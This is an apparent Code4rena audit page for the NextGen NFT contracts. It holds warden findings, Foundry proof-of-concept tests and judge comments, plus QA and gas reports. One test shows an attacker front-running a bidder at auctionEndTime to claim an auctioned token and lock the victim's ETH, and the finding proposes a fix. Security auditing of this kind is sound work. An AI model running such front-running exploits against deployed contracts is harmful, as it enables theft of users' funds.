lastMintDate equation picked up from Line 252 in else-if block below:
File: MinterContract.sol 239: // control mechanism for sale option 3 240: if (collectionPhases[col].salesOption == 3) { 241: uint timeOfLastMint; 242: if (lastMintDate[col] == 0) { 243: // for public sale set the allowlist the same time as publicsale 244: timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 245: } else { 246: timeOfLastMint = lastMintDate[col]; 247: } 248: // uint calculates if period has passed in order to allow minting 249: uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; 250: // users are able to mint after a day passes 251: require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); 252: lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)); 253: }
From the above example, based on the calculations, we can clearly see how the property/invariant of periodicity is broken (i.e. 1 mint/period) in the Periodic Sale model used during both allowlist and public phases. The example also showed how the users and creators of the collections are affected due to the wait time of 7 days instead of the expected 10 minutes.
(Note: In the example, I've only used 1000 tokens minted as the circulating supply during the allowlist phase but as the circulating supply increases during the allowlist phase, the wait time during the public phase increases as well. For example, if 10000 tokens were minted during allowlist phase, the wait time for the next period during the public phase is now 70 days instead of the expected 10 minutes)
There are few things to note in this POC:
forge test --match-test testPeriodicSaleDoesNotWork -vvvvv
forge test --match-test testPeriodicSaleDoesNotWork -vvvvv
command.File: TestContract2.sol 01: // SPDX-License-Identifier: MIT 02: 03: pragma solidity ^0.8.19; 04: 05: import {Test, console} from "forge-std/Test.sol"; 06: 07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; 08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; 09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; 10: import {randomPool} from "../smart-contracts/XRandoms.sol"; 11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; 12: 13: contract TestContract2 is Test { 14: 15: NextGenMinterContract minter; 16: NextGenCore gencore; 17: NextGenAdmins adminsContract; 18: randomPool xrandoms; 19: NextGenRandomizerNXT randomizer; 20: 21: address alice = makeAddr("Alice"); 22: 23: 24: function setUp() public { 25: //Deployment process - Followed from docs 26: adminsContract = new NextGenAdmins(); 27: gencore = new NextGenCore("", "", address(adminsContract)); 28: minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract)); 29: xrandoms = new randomPool(); 30: randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore)); 31: } 32: 33: function testSetUpCollection() public { 34: string[] memory emptyScript; 35: gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript); 36: gencore.setCollectionData(1, address(0), 2000, 100000, 0); 37: minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 3, 38: address(0)); 39: minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check 40: gencore.addMinterContract(address(minter)); 41: gencore.addRandomizer(1, address(randomizer)); 42: } 43: 44: function testPeriodicSaleDoesNotWork() public payable{ 45: testSetUpCollection(); 46: testPublicPhasePeriodicSale1(); 47: testPublicPhasePeriodicSale2(); 48: } 49: 50: function testPublicPhasePeriodicSale1() public { 51: bytes32[] memory emptyArray; 52: bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", alice, emptyArray, address(0), 0); 53: //uint price = minter.getPrice(1); 54: vm.warp(1000); //Enter public phase 1 55: for(uint i = 0; i < 1000; i++){ 56: if(i==0){ 57: vm.deal(alice, 4000000000000000000);//4ETH for public phase 1 58: vm.prank(alice); 59: (bool success,) = address(minter).call{value: 4000000000000000000}(selector); 60: } else { 61: skip(600); //skipping periods to mint 1000 tokens faster 62: vm.deal(alice, 4000000000000000000);//4ETH for public phase 1 63: vm.prank(alice); 64: (bool success,) = address(minter).call{value: 4000000000000000000}(selector); 65: } 66: 67: } 68: } 69: 70: function testPublicPhasePeriodicSale2() public { 71: bytes32[] memory emptyArray; 72: bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", alice, emptyArray, address(0), 0); 73: minter.setCollectionPhases(1, 1000000, 0, 1000000, 1700000, 0); //Set allowliststarttime to public sale start time to pass check// Updating times for public phase 2 as the admin would 74: vm.warp(1000000); // To enter public phase 2 75: uint time = block.timestamp; 76: console.log(time); 77: for(uint i = 0 ; i < 2 ; i++){ 78: if(i==0){ 79: vm.deal(alice, 4000000000000000000);//4ETH for public phase 2 80: vm.prank(alice); 81: (bool success,) = address(minter).call{value: 4000000000000000000}(selector); 82: } else { 83: skip(600); //Skipping to next period 2 84: vm.deal(alice, 4000000000000000000);//4ETH for public phase 2 85: vm.prank(alice); 86: (bool success,) = address(minter).call{value: 4000000000000000000}(selector); 87: assertEq(success, false); // This here and the two lines below are the proof 88: uint256 lastMintDate = minter.lastMintDate(1);// that users now have to wait for longer time 89: console.log("LastMintDate:", lastMintDate);// Note the arithmetic overflow is expected since when calculating tDiff, block.timestamp - timeOfLastMint underflows due to timeOfLastMint being way ahead in future i.e. 1600000 90: } 91: } 92: } 93: 94: }
Manual Review
We can see the issue arises due to tokens being brought into the circulation supply during allowlist phase, which then during the public phase increases the lastMintDate due to timePeriod * circulationSupply
being added to the start time of the public sale.
It is hard to boil down to a specific solution (such as only limiting sales model 3 to allowlist phase) since there can be two allowlist phases as well, which still causes the same issue. Basically anytime the first phase (whether it be allowlist or public) brings tokens into circulation supply, it causes this issue.
The only solution I can think of is to limit the Periodic Sale model (sales model 3) to the first allowlist or public phase that is ever conducted for the collection. Thereafter, using the periodic sale model will cause the problem mentioned in this POC.
Math
#0 - c4-pre-sort
2023-11-18T10:37:38Z
141345 marked the issue as duplicate of #89
#1 - c4-judge
2023-12-05T13:18:21Z
alex-ppg marked the issue as duplicate of #2012
#2 - c4-judge
2023-12-08T21:06:54Z
alex-ppg marked the issue as satisfactory
#3 - mcgrathcoutinho
2023-12-09T16:26:39Z
Hi @alex-ppg , here is why I believe this report should be chosen for the report:
Thank you for taking the time to read this.
#4 - alex-ppg
2023-12-09T19:34:06Z
Hey @mcgrathcoutinho, thanks for contributing to PJQA! The Warden's submission title is that the sales of a sale model 3 can be bricked which is in line with the maximal impact of this submission. Furthermore, they detail that:
It's worth noting that some collections may disrupt the whitelist, while others could brick the entire mint process, especially if there are more minted NFTs or a longer minting period.
I believe the above encompasses the full impact of the submission. The HM rating on this one can be debated, and it was awarded a rating of H not due to impact but rather due to impact combined with invalidating a core invariant. A collection can be reconfigured to mint under a different model, thereby not leading to any permanent loss of minting capabilities.
The mitigation this submission contains is identical to #380 (It is hard to boil down to a specific solution
) and recommends a mitigation that contradicts the project's specification. A proper solution is not to restrict sale model 3 types to only being the first configured sale of a collection as sale models are meant to be dynamically combined.
For a proposed solution that aligns with the project's specification, you can consult the relevant response I left on the primary exhibit.
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
10.9728 USDC - $10.97
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104
There are 2 problems here:
(Note: It is possible that A and B are just two bots placing bids for an auction in order to simply win the token, thus this attack can be both intentional or unintentional from their side. For example, bot A might be programmed to place a bid at the last moment followed by which A can claim (since A knows it is the winner) while bot B might just only place a bid and claim sometime later on)
The issue here originates since claimAuction() uses "<=" instead of "<" to check if current block.timestamp is less than or equal to auctionEndTime. This allows the attacker to perform such an attack, leading to loss for another user.
Note: This issue is different from the previous issue submitted by me (i.e. "Attacker can claim token without providing ETH"). This is because in the previous issue the root cause was either the use of "<=" instead of "<" in functions cancelBid() and cancelAllBids() or auctionDataInfo not being updated to false in claimAuction(), while in this issue the root cause is the use of ">=" instead of ">" in the claimAuction() function. As a Litmus test, we can see that even after solving the previous issue, the current issue here still exists.
Here is the whole process:
Address A = Attacker Address B = Another user
At auctionEndTime, both A and B call function participateToAuction() with bids 10 ETH and 11 ETH respectively.
A frontruns B's participateToAuction() call with both his participateToAuction() and claimAuction() calls by providing higher gas in order to move ahead in the mempool.
Here is the order of calls executing now. A's participateToAuction() call is executed first. Here the following occurs:
auctionInfoData[_tokenid]
File: AuctionDemo.sol 57: function participateToAuction(uint256 _tokenid) public payable { 58: require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 59: auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); 60: auctionInfoData[_tokenid].push(newBid); 61: }
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: } 120: }
auctionInfoData[_tokenid]
File: AuctionDemo.sol 57: function participateToAuction(uint256 _tokenid) public payable { 58: require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 59: auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); 60: auctionInfoData[_tokenid].push(newBid); 61: }
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true;
File: AuctionDemo.sol 124: function cancelBid(uint256 _tokenid, uint256 index) public { 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); 126: require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); 127: auctionInfoData[_tokenid][index].status = false; 128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); 129: emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); 130: }
Here are some points to understand the POC:
forge test --match-test testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH -vvvvv
forge test --match-test testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH -vvvvv
command.File: TestContract8.t.sol 01: // SPDX-License-Identifier: MIT 02: 03: pragma solidity ^0.8.19; 04: 05: import {Test, console} from "forge-std/Test.sol"; 06: 07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; 08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; 09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; 10: import {randomPool} from "../smart-contracts/XRandoms.sol"; 11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; 12: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; 13: 14: contract TestContract8 is Test { 15: 16: NextGenMinterContract minter; 17: NextGenCore gencore; 18: NextGenAdmins adminsContract; 19: randomPool xrandoms; 20: NextGenRandomizerNXT randomizer; 21: auctionDemo auctionContract; 22: 23: //List of Bidders 24: address alice = makeAddr("Bidder1"); 25: address bob = makeAddr("Bidder2"); 26: address charlie = makeAddr("Bidder3"); 27: 28: address teamsTrustedAddress = makeAddr("TrustedAddress"); 29: address attacker = makeAddr("AttackerEOA"); 30: 31: function setUp() public { 32: //Deployment process - Followed from docs 33: adminsContract = new NextGenAdmins(); 34: gencore = new NextGenCore("", "", address(adminsContract)); 35: minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract)); 36: xrandoms = new randomPool(); 37: randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore)); 38: auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract)); 39: } 40: 41: function testSetUpCollection() public { 42: string[] memory emptyScript; 43: gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript); 44: gencore.setCollectionData(1, address(0), 1, 10000, 0); 45: minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 1, 46: address(0)); 47: minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check 48: gencore.addMinterContract(address(minter)); 49: gencore.addRandomizer(1, address(randomizer)); 50: } 51: 52: function testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH() public { 53: testSetUpCollection(); 54: vm.warp(1000); //Start public phase on Azuki collection 55: //Start Azuki auction 56: minter.mintAndAuction(teamsTrustedAddress, "", 0, 1, 10000); //(Auction ends at 10000s) 57: bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", 10000000000); 58: 59: //Give approval to this contract to transfer the auctioned token to the winner when winner calls claimAuction() 60: vm.prank(teamsTrustedAddress); 61: gencore.setApprovalForAll(address(auctionContract), true); 62: 63: //Warp to 10000s i.e. right at auctionEndTime of the Azuki auction 64: vm.warp(10000); 65: 66: //Attacker's frontrun call to participateToAuction() 67: vm.deal(attacker, 1000000000000000000); //Attacker places 1 ETH bid 68: vm.prank(attacker); 69: (bool success1,) = address(auctionContract).call{value: 1000000000000000000}(selector); 70: 71: //Attacker's frontrun call to claimAuction() 72: bytes memory selector2 = abi.encodeWithSignature("claimAuction(uint256)", 10000000000); 73: vm.prank(attacker); //Attacker claimsAuction 74: (bool success2,) = address(auctionContract).call(selector2); 75: 76: //Alice's participateToAuction() call (which is frontrun by above two calls) 77: vm.deal(alice, 2000000000000000000); //Alice places 2 ETH bid 78: vm.prank(alice); 79: (bool success3,) = address(auctionContract).call{value: 2000000000000000000}(selector); 80: 81: assertEq(success1, true); 82: assertEq(success2, true); 83: assertEq(success3, true); 84: 85: uint256 attackerNFTBalance = gencore.balanceOf(attacker); 86: uint256 aliceETHBalance = address(alice).balance; //Means alice was not refunded her ETH since her call came later after the attacker frontrunned her with participateToAuction() and claimAuction() calls, thereby locking her ETH in AuctionDemo.sol 87: uint256 auctionContractETHBalance = address(auctionContract).balance; 88: 89: assertEq(attackerNFTBalance, 1); 90: assertEq(aliceETHBalance, 0); 91: assertEq(auctionContractETHBalance, 2000000000000000000); //Represents Alice's locked ETH 92: } 93: 94: receive() external payable {} 95: }
Manual Review
The solution is quite straightforward. Change ">=" to ">" in claimAuction() function. This prevents the attacker A from performing such an attack on another address B.
Solution:
```solidity File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true;
MEV
#0 - c4-pre-sort
2023-11-15T07:38:35Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:33:26Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:35:33Z
alex-ppg marked the issue as duplicate of #1926
#3 - c4-judge
2023-12-08T18:50:35Z
alex-ppg marked the issue as satisfactory
#4 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
QA issues | Issues | Instances |
---|---|---|
[N-01] | Variable used only in current contract should be marked with private instead of public visibility | 7 |
[N-02] | Typo in struct name collectionAdditionalDataStructure | 1 |
[N-03] | Remove redundant check from addMinter() function | 1 |
[N-04] | Incorrect collectionPrimaryAndSecondaryAddresses comment should be corrected | 1 |
[N-05] | Incorrect comment in function mintAndAuction() should be corrected | 1 |
[L-01] | Missing check in function artistSignature() to ensure parameter _signature is not empty | 1 |
[L-02] | Avoid copy pasting OZ libraries and inheriting from them | 4 |
[L-03] | Missing check in function setCollectionCosts() to ensure salesOption is in range [1-3] | 1 |
[L-04] | Missing check in function setCollectionPhases() to ensure allowlist/public end time is greater than start time | 1 |
There are 7 instances of this:
Variable newCollectionIndex
is only used in the NextGenCore.sol contract, thus can be marked with private visibility.
File: NextGenCore.sol 26: uint256 public newCollectionIndex;
There are 6 instances here which can be marked private.
File: NextGenCore.sol 083: mapping (uint256 => uint256) public burnAmount; 084: 085: // modify the metadata view 086: mapping (uint256 => bool) public onchainMetadata; 087: 088: // artist signature per collection 089: mapping (uint256 => string) public artistsSignatures; 090: 091: // tokens additional metadata 092: mapping (uint256 => string) public tokenData; 099: 100: // artist signed 101: mapping (uint256 => bool) public artistSigned; 102: 105: address public minterContract;
collectionAdditionalDataStructure
There is 1 instance of this:
Correct collectionAdditonalDataStructure
to collectionAdditionalDataStructure
. Note: This is just a typo and does not affect contract logic
File: NextGenCore.sol 45: struct collectionAdditonalDataStructure {
addMinter()
functionThere is 1 instance of this:
Check on Line 336 is redundant since even if function admin decides to use malicious minter contract, the malicious contract can implement an isMinterContract() function that always returns true in order to pass this check.
File: NextGenCore.sol 335: function addMinterContract(address _minterContract) public FunctionAdminRequired(this.addMinterContract.selector) { 336: require(IMinterContract(_minterContract).isMinterContract() == true, "Contract is not Minter"); 337: minterContract = _minterContract; 338: }
collectionPrimaryAndSecondaryAddresses
comment should be correctedThere is 1 instance of this:
Since the keys in the mapping points towards the collectionPrimaryAddresses struct, on Line 86 the comment should be use collectionPrimaryAddresses
struct instead of collectionPrimaryAndSecondaryAddresses
File: MinterContract.sol 86: // mapping of collectionPrimaryAndSecondaryAddresses struct 87: mapping (uint256 => collectionPrimaryAddresses) private collectionArtistPrimaryAddresses;
mintAndAuction()
should be correctedThere is 1 instance of this:
Correct "after a day passes" to "after a period passes" since NFTs can be minted period-wise, which may or may not be 1 day.
File: MinterContract.sol 308: // users are able to mint after a day passes 309: require(tDiff>=1, "1 mint/period");
artistSignature()
to ensure parameter _signature
is not emptyThere is 1 instance of this issue:
It is possible that the artist of a collection forgets to pass the parameter _signature
, which would cause the empty signature to be accepted and set. This update would be permanent since artistSigned is set to true on Line 261, which prevents the artist from changing to signature to another string value due to the check on Line 259.
Solution: Add a check to ensure that _signature
is not empty
File: smart-contracts/NextGenCore.sol 257: function artistSignature(uint256 _collectionID, string memory _signature) public { 258: require(msg.sender == collectionAdditionalData[_collectionID].collectionArtistAddress, "Only artist"); 259: require(artistSigned[_collectionID] == false, "Already Signed"); 260: artistsSignatures[_collectionID] = _signature; 261: artistSigned[_collectionID] = true; 262: }
Note: There is more than instance of this issue in the codebase such as copy-paste of Address.sol, Math.sol, Strings.sol etc. All of them are inherited directly. For explanation purposes, I've only included MerkleProof.sol below
There are 4 instances of this issue:
Inherit from openzeppelin dependencies instead of copy pasting contract the MerkleProof.sol contract. This will ensure all contracts are part of the same version without any breaking modifications which could've occurred during the copy paste.
File: MinterContract.sol 18: import "./MerkleProof.sol";
setCollectionCosts()
to ensure salesOption is in range [1-3]There is 1 instance of this issue:
Missing check to ensure sales option is in the range [1-3]. There is a chance that the CollectionAdmin forgets to pass the salesOption input (defaulting to 0) or even setting a value outside the range. This could lead to the fixed minting cost option being applied (as seen here) instead of the expected sales options (2 or 3).
File: MinterContract.sol 159: function setCollectionCosts(uint256 _collectionID, uint256 _collectionMintCost, uint256 _collectionEndMintCost, uint256 _rate, uint256 _timePeriod, uint8 _salesOption, address _delAddress) public CollectionAdminRequired(_collectionID, this.setCollectionCosts.selector) { 160: require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); 161: collectionPhases[_collectionID].collectionMintCost = _collectionMintCost; 162: collectionPhases[_collectionID].collectionEndMintCost = _collectionEndMintCost; 163: collectionPhases[_collectionID].rate = _rate; 164: collectionPhases[_collectionID].timePeriod = _timePeriod; 165: collectionPhases[_collectionID].salesOption = _salesOption; 166: collectionPhases[_collectionID].delAddress = _delAddress; 167: setMintingCosts[_collectionID] = true; 168: }
setCollectionPhases()
to ensure allowlist/public end time is greater than start timeThere is 1 instance of this issue:
Missing check to see if _allowlistEndTime
and _publicEndTime
are greater than _allowlistStartTime
and _publicStartTime
respectively.
File: MinterContract.sol 172: function setCollectionPhases(uint256 _collectionID, uint _allowlistStartTime, uint _allowlistEndTime, uint _publicStartTime, uint _publicEndTime, bytes32 _merkleRoot) public CollectionAdminRequired(_collectionID, this.setCollectionPhases.selector) { 173: require(setMintingCosts[_collectionID] == true, "Set Minting Costs"); 174: collectionPhases[_collectionID].allowlistStartTime = _allowlistStartTime; 175: collectionPhases[_collectionID].allowlistEndTime = _allowlistEndTime; 176: collectionPhases[_collectionID].merkleRoot = _merkleRoot; 177: collectionPhases[_collectionID].publicStartTime = _publicStartTime; 178: collectionPhases[_collectionID].publicEndTime = _publicEndTime; 179: }
#0 - 141345
2023-11-25T08:06:57Z
743 MrPotatoMagic l r nc 3 0 6
L 1 n [N-01] Variable used only in current contract should be marked with private instead of public visibility L 2 n [N-02] Typo in struct name collectionAdditionalDataStructure L 3 n [N-03] Remove redundant check from addMinter() function L 4 n [N-04] Incorrect collectionPrimaryAndSecondaryAddresses comment should be corrected L 5 n [N-05] Incorrect comment in function mintAndAuction() should be corrected L 6 l [L-01] Missing check in function artistSignature() to ensure parameter _signature is not empty L 7 n [L-02] Avoid copy pasting OZ libraries and inheriting from them L 8 l [L-03] Missing check in function setCollectionCosts() to ensure salesOption is in range [1-3] L 9 l [L-04] Missing check in function setCollectionPhases() to ensure allowlist/public end time is greater than start time
#1 - c4-pre-sort
2023-11-25T08:11:17Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T15:29:34Z
The Warden's QA report has been graded B based on a score of 16 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
#3 - c4-judge
2023-12-08T15:44:29Z
alex-ppg marked the issue as grade-b
#4 - mcgrathcoutinho
2023-12-10T19:45:15Z
Hi @alex-ppg, thanks for judging this:
Why are L-02, L-03 and N-03 not considered part of the QA report?
Additionally, just keeping #745 in loop here due to the pending decision. if it is considered to be a QA, then I believe it should be added to my QA score as well, which could potentially bump my grade from B to A.
Other than #745, #941 has been marked invalid though it can be considered as a QA issue. This would also help my overall QA score as it is marked as invalid instead of downgraded to QA.
Thank you for your time.
#5 - alex-ppg
2023-12-12T11:46:21Z
Hey @mcgrathcoutinho, thanks for requesting clarifications on this QA report! Per the C4 guidelines, regardless of the outcome of issue #745, it cannot be "combined" with this QA report. Any downgraded QA issue is graded independently and the Warden is awarded with the greatest grade of the two. I have proceeded to provide a point-by-point review of your QA report:
I
I
I
QA (L)
QA (NC)
QA (NC)
Combining the above grades will yield us a total of 19
which still does not come close to the lowest A
report with a score of 23
. Based on the above, I consider this submission to be graded B
correctly.
#6 - mcgrathcoutinho
2023-12-12T11:59:21Z
Thank you for the clarification
109.1409 USDC - $109.14
Gas Optimizations | Issues | Instances |
---|---|---|
[G-01] | Use do-while loops instead of for loops to save gas | 3 |
[G-02] | Variable only used in current contract can be marked private to save gas | 6 |
[G-03] | Update newCollectionIndex to 1 directly in the constructor to save gas | 1 |
[G-04] | Use ++newCollectionIndex instead of newCollectionIndex = newCollectionIndex + 1 to save gas | 1 |
[G-05] | Allowlist/Public start and end times can use smaller uint sizes in struct collectionPhasesDataStructure | 1 |
[G-06] | Redundant check in public phase conditional block present in mint() function can be removed to save gas | 1 |
[G-07] | No need to calculate mintIndex since collectionTokenMintIndex holds the same value | 1 |
[G-08] | Add address(0) checks to prevent unnecessary external calls to primary addresses that are address(0) | 1 |
[G-09] | Simplify mathematical equation for decreaserate in Exponential Decay function (sales model 2) to save gas | 1 |
[G-10] | Return early when token reaches resting price in Linear Descending Sale (sales model 2) to save gas | 1 |
[G-11] | No need to track variable highBid in for loop of function returnHighestBid() to save gas | 1 |
[G-12] | Remove redundant check from function returnHighestBidder() to save gas | 1 |
[G-13] | Use msg.sender instead of accessing bidder from storage in function cancelBid() to save gas | 1 |
There are 3 instances of this:
Before VS After
Deployment cost: 582355 - 571365 = 10990 gas saved
Instead of this:
File: NextGenAdmins.sol 50: function registerBatchFunctionAdmin(address _address, bytes4[] memory _selector, bool _status) public AdminRequired { 51: //@audit Gas - Use do-while loop 52: for (uint256 i=0; i<_selector.length; i++) { 53: functionAdmin[_address][_selector[i]] = _status; 54: } 55: }
Use this:
File: NextGenAdmins.sol 50: function registerBatchFunctionAdmin(address _address, bytes4[] memory _selector, bool _status) public AdminRequired { 51: /* for (uint256 i=0; i<_selector.length; i++) { 52: functionAdmin[_address][_selector[i]] = _status; 53: } */ 54: uint256 i; 55: do { 56: functionAdmin[_address][_selector[i]] = _status; 57: unchecked { 58: ++i; 59: } 60: } while (i < _selector.length); 61: }
Before VS After
Deployment cost: 5501759 - 5499141 = 2618 gas saved
Instead of this:
File: NextGenCore.sol 289: function updateImagesAndAttributes(uint256[] memory _tokenId, string[] memory _images, string[] memory _attributes) public FunctionAdminRequired(this.updateImagesAndAttributes.selector) { 290: for (uint256 x; x < _tokenId.length; x++) { 292: require(collectionFreeze[tokenIdsToCollectionIds[_tokenId[x]]] == false, "Data frozen"); 293: _requireMinted(_tokenId[x]); 294: tokenImageAndAttributes[_tokenId[x]][0] = _images[x]; 295: tokenImageAndAttributes[_tokenId[x]][1] = _attributes[x]; 296: } 297: }
Use this:
File: NextGenCore.sol 283: function updateImagesAndAttributes(uint256[] memory _tokenId, string[] memory _images, string[] memory _attributes) public FunctionAdminRequired(this.updateImagesAndAttributes.selector) { 290: uint256 x; 291: do { 292: require(collectionFreeze[tokenIdsToCollectionIds[_tokenId[x]]] == false, "Data frozen"); 293: _requireMinted(_tokenId[x]); 294: tokenImageAndAttributes[_tokenId[x]][0] = _images[x]; 295: tokenImageAndAttributes[_tokenId[x]][1] = _attributes[x]; 296: unchecked { 297: ++x; 298: } 299: } while(x < _tokenId.length); 300: }
Before VS After
Deployment cost: 5454331 - 5448464 = 5867 gas saved
Function execution cost: 744940 - 744379 = 561 gas saved (per call)
Instead of this:
File: MinterContract.sol 184: function airDropTokens(address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens) public FunctionAdminRequired(this.airDropTokens.selector) { 185: require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); 186: uint256 collectionTokenMintIndex; 187: for (uint256 y=0; y< _recipients.length; y++) { 190: collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1; 191: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); 192: for(uint256 i = 0; i < _numberOfTokens[y]; i++) { 193: uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); 194: gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID); 195: } 196: } 197: }
Use this:
File: MinterContract.sol 181: function airDropTokens(address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens) public FunctionAdminRequired(this.airDropTokens.selector) { 182: require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); 183: uint256 collectionTokenMintIndex; 192: uint256 y; 193: do { 194: collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1; 195: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); 196: uint256 i; 197: do { 198: uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); 199: gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID); 200: unchecked { 201: ++i; 202: } 203: } while(i < _numberOfTokens[y]); 204: unchecked { 205: ++y; 206: } 207: } while(y < _recipients.length); 208: }
There are 6 instances of this:
Before VS After
Deployment cost: 5501759 - 5497380 = 4379 gas saved
File: NextGenCore.sol 26: uint256 public newCollectionIndex;
Link to remaining 5 instances below
Before VS After
Deployment cost: 5501759 - 5454222 = 47537 gas saved
